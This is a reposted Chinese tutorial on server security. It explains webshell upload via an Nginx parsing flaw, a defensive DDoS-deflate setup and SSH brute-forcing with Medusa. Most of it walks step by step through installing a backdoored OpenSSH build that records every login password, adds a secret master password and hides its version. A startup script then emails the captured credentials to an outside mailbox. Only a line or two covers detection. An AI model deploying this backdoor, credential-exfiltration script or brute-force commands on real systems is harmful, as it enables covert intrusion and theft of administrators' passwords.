ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

webshell-防止 DDOS-暴力破解-自动劫持密码

2021-03-13 09:01:21  阅读:363  来源: 互联网

标签:webshell enable 暴力破解 -- module 密码 DDOS usr yes


1、webshell使用方法

上传木马程序:
方法 1:nginx 解析漏洞。 把 aa.php 改成 aa.jpg ,通过网站中的上传图片功能上传到服务器。可以直接执行 php 程序。
详情:CVE-2013-4547 Nginx 解析漏洞深入利用及分析 :http://drops.wooyun.org/tips/2006
方法 2:把 webshell 通过 base64 编码加密后,注入数据库。使用时,解密后,再执行。

2、使用DDoS deflate 解决服务器被DDOS攻击的问题

1、防止 DDOS 攻击的方法
方法一: 手动写 iptables 规则,ip 地址数比较少时
方法二: 检测到访问次数比较多的 ip 地址后,自动添加 iptables 规则。如 fail2ban 或 linux+DDoS deflate
方法三:加大带宽,增加服务器,使用 CDN 技术
2、DDoS deflate 介绍
DDoS deflate 是一款免费的用来防御和减轻 DDoS 攻击的脚本。它通过 netstat 监测跟踪创建大量网络连接的 IP 地址,在检测到某个结点超过预设的限制时,该程序会通过 APF 或 IPTABLES 禁止或阻挡这些 IP。
3、检测是否有 DDOS 攻击
执行:

netstat -ntu | awk '{print $5}' | cut -d: -f4 | sort | uniq -c | sort -n

如果发现某个 IP 连接数据上百的链接,说明就有 DDOS 攻击。
4、安装DDoS deflate

wget http://www.inetbase.com/scripts/ddos/install.sh
chmod 700 install.sh #添加权限
./install.sh #执行

5、查看安装后的配置文件
DDoS deflate 的默认配置位于/usr/local/ddos/ddos.conf ,内容如下:

vim /usr/local/ddos/ddos.conf 
##### Paths of the script and other files
PROGDIR="/usr/local/ddos"
PROG="/usr/local/ddos/ddos.sh" #要执行的 DDOS 脚本
IGNORE_IP_LIST="/usr/local/ddos/ignore.ip.list" #IP 地址白名单,注:在这个文件中 IP 不受控制。
CRON="/etc/cron.d/ddos.cron" #定时执行程序

6、查看定时任务

cat /etc/cron.d/ddos.cron
SHELL=/bin/sh
0-59/1 * * * * root /usr/local/ddos/ddos.sh >/dev/null 2>&1

7、场景: 如果 1 分钟内,一个 IP 地址对我们服务器访问 150 次以上,就认为发生 DDOS,使用iptables 把这个 IP 地址自动屏蔽掉。

vim /usr/local/ddos/ddos.conf
##### frequency in minutes for running the script
##### Caution: Every time this setting is changed, run the script with --cron
##### option so that the new frequency takes effect
FREQ=1 #检查时间间隔,默认 1 分钟
##### How many connections define a bad IP? Indicate that below.
NO_OF_CONNECTIONS=150 #最大连接数,超过这个数 IP 就会被屏蔽,一般默认即可
##### APF_BAN=1 (Make sure your APF version is atleast 0.96)
##### APF_BAN=0 (Uses iptables for banning ips instead of APF)
APF_BAN=1 #使用APF 还是iptables。推荐使用 iptables,将APF_BAN 的值改为 0即可。
改:19 APF_BAN=1
为:19 APF_BAN=0
##### KILL=0 (Bad IPs are'nt banned, good for interactive execution of script)
##### KILL=1 (Recommended setting)
KILL=1 #是否屏蔽 IP,默认即可
##### An email is sent to the following address when an IP is banned.
##### Blank would suppress sending of mails
EMAIL_TO=kill@ningfg.cn #当 IP 被屏蔽时给指定邮箱发送邮件报警,换成自己的邮箱即可
##### Number of seconds the banned ip should remain in blacklist.
BAN_PERIOD=600 #禁用 IP 时间,默认 600 秒,可根据情况调整

注:安装后,不需要手动运行任何软件,因为有 crontab 计划任务,每过一分钟,会行自动执行一次。检查是否有不正常的访问量
8、卸载

wget http://www.inetbase.com/scripts/ddos/uninstall.ddos
chmod +x uninstall.ddos
 ./uninstall.ddos

3、使用 Medusa 美杜莎暴力破解 SSH 密码

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的暴力破解工具。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。Medusa 是支持 AFP,CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3,PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet,VmAuthd, VNC、Generic Wrapper 以及 Web 表单的密码爆破工具。
官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。
软件下载地址:https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz

1、安装 medusa ,手动编译和安装 medusa

yum install libssh2-devel libssh2-devel -y
tar zxvf 2.2.tar.gz
cd medusa-2.2/
./configure --enable-debug=yes --enable-module-afp=yes --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes --enable-module-web-form=yes

这个参数中加入很多模块,这样方便后期使用。--enable-module-ssh=yes 这个就是稍后要使用的暴力破解 sshd 服务的模块。

make -j 4
make install #安装完成后,会将 medusa 的一些modules 文件复制到/usr/local/lib/medusa/modules 文件夹。
ls /usr/local/lib/medusa/modules #查看已经生成的模块

2、Medusa 参数说明
Medusa [-hhost|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module[OPT]
-h [TEXT] 目标主机名称或者 IP 地址
-H [FILE] 包含目标主机名称或者 IP 地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n 代表空密码,s 代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认 Tcp 端口
-s 启用 SSL
-r [NUM] 重试间隔时间,默认为 3 秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计。
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次
3、破解单一服务器 SSH 密码
例 1:通过文件来指定 host 和 user,host.txt 为目标主机名称或者 IP 地址,user.txt 指定需要暴力破解的用户名,密码指定为 123456。

cd
echo 192.178.1.63 > /root/host.txt
echo root > /root/users.txt
medusa -M ssh -H ./host.txt -U ./users.txt -p 123456

例 2:对单一服务器进行密码字典暴力破解

 medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt  #p.txt 为密码字典

例 3:加-O ssh.log 可以将成功破解的记录记录到 ssh.log 文件中

medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt -O ./ssh.log

4、自动劫持 root 密码并转发密码到邮箱(RHEL 6,在 Centos7 下无法实现)

思路:在 63 上安装一个打了后门补丁的 sshd 服务,当用户来连接时,直接把密码记录下来。然后使用脚本发给我们的邮箱中。

1、安装gcc

ssh -V #查看安装前 ssh 版本
gcc -v #确认安装 gcc
yum install gcc

2、上传 0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到 linux 的/tmp 目录,解压文件

cd /tmp
tar zxvf openssh-5.9p1.tar.gz
tar -zxvf 0x06-openssh-5.9p1.patch.tar.gz

3、对 openssh-5.9p1 打后门漏洞补丁

1、打补丁

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
cd openssh-5.9p1
patch < sshbd5.9p1.diff #打补就修改或者替换原来的文件

patching file auth.c #认证
patching file auth-pam.c #认证
patching file auth-passwd.c #认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c #关于 sshd 服务端
patching file sshconnect2.c #关于 sshd 连接
patching file sshlogin.c #关于登录,把 root 密码记录下来
patching file version.h #关于版本

2、修改后门密码和记录 root 密码的文件夹目录

vim /tmp/openssh-5.9p1/includes.h
改:
177 #define ILOG "/tmp/ilog" #记录登录到本机的用户名和密码
178 #define OLOG "/tmp/olog" #记录从本机登录到其他服务器上的用户名和密码
179 #define SECRETPW "apaajaboleh" #你后门密码
为:
177 #define ILOG "/usr/share/ifile"
178 #define OLOG "/usr/share/ofile"
179 #define SECRETPW "ningfg"

3、为了使用安后的版本和原系统的版本一样,修改版本号:

vim /tmp/openssh-5.9p1/version.h
改:
 3 #define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3"
 4
 5 #define SSH_PORTABLE "p1"
为:
 3 #define SSH_VERSION " OpenSSH_5.3"
 4
 5 #define SSH_PORTABLE "p1"

4、安装打了后门补丁的 sshd 服务

yum install -y openssl openssl-devel pam-devel zlib zlib-devel
# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

参数说明:
--prefix=/usr #指定安装到/usr 目录下
--sysconfdir=/etc/ssh #指定 sshd 服务配置文件目录
--with-pam #支持 pam 认证
--with-kerberos5 #支持 kerberos 认证

make -j 4 && make install

扩展: 通过 rpm -Vf 检查命令是否被替换

rpm -Vf /usr/bin/scp

可以看到很多 ssh 协议相关的命令,都被我们安装的 sshd 服务相关的命令替换了。这是黑客经常做的事情。

5、重启 sshd 服务

service sshd restart

6、测试劫持密码
测试前,发现/usr/share/ifile 文件没有存在
7、使用 xshell 登录 xuegod63,模拟远程登录
8、查看劫持到 root 密码

cat /usr/share/ifile
user:password --> root:123456

9、另外我们也可以使用后门密码来登录 root 帐号

ssh root@192.168.1.63 输入密码:ningfg

cat /usr/share/ofile
user:password@host --> root:ningfg@192.168.1.63

2、测试记录远程主机的密码

1、使用 63 登录远程主机 64

ssh root@192.168.1.64
exit

2、在63上查看记录,从64登录到远程主机的密码

cat /usr/share/ofile 
user:password@host --> root:123456@192.168.1.63
user:password@host --> root:123456@192.168.1.64

3、自动发送邮件

以 163 的 smtp 服务器为例,实现自动发送邮件有以下两种方法:
方法 1:通过 sendmail 或 postfix 给自己发邮件。 缺点: 需要开服务
方法 2:LINUX 下通过外部 SMTP 服务器发邮件,就像在 Linux 安装一个 foxmail。
1、使用 mail.rc 实现发邮件

vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:
set from=helloworld14@163.com smtp=smtp.173.com
set smtp-auth-user=helloworld14 smtp-auth-password=PASSWORD smtp-auth=login

注:
set from=helloworld14@163.com #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。
set smtp-auth-user=helloworld14 #写自己发件人的邮箱帐号
smtp-auth-password=PASSWORD #写自己发件人的邮箱密码
2、配置 173 邮箱,开启 pop3/smtp 服务
登录 mail.163.com 网站
点:设置->POP3/SMTP/IMAP->开启 pop3 服务(勾选开启 pop3 服务后,smtp 也会自动开启)
设置第三方邮件客户端密码完成后,随后出现设置授权提示,点击确定即可完成设置
3、测试邮件发送

mail -s "demo title" ningfg@163.com < /usr/share/ifile # 发送后到邮箱查看

4、编写 shell 脚本自动发邮件,邮件的主题是服务器的 IP 地址

vim /bin/zipmail #写入以下内容
#!/bin/bash
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
mail -s $ip ningfg@163.com < /usr/share/ifile
chmod +x /bin/zipmail

5、测试

zipmail # 发现也可以收到邮件,说明成功。

4、实现当用户修改密码后,自动发邮件

1、安装 inotify

cd /tmp/
tar -zxvf inotify-tools-3.13.tar.gz
cd inotify-tools-3.13
./configure #检查安装环境
make -j 4 && make install #编译安装。

2、编写触发式自动发邮件脚本

vim /bin/zipmail 
#!/bin/bash
/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile |while read a b c
do
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
mail -s $ip ningfg@163.com < /usr/share/ifile
done

3、设置开机启动 zipmail 脚本

vim /etc/rc.local #在此文件的最后插入以下内容。
/bin/zipmail &

5、排查
方法1:

ps -axu | grep inoti #查看进程是否运行

方法2:

rpm -Vf /usr/bin/ssh #查看命令是否被黑客替换

标签:webshell,enable,暴力破解,--,module,密码,DDOS,usr,yes
来源: https://www.cnblogs.com/ningfg/p/14527481.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有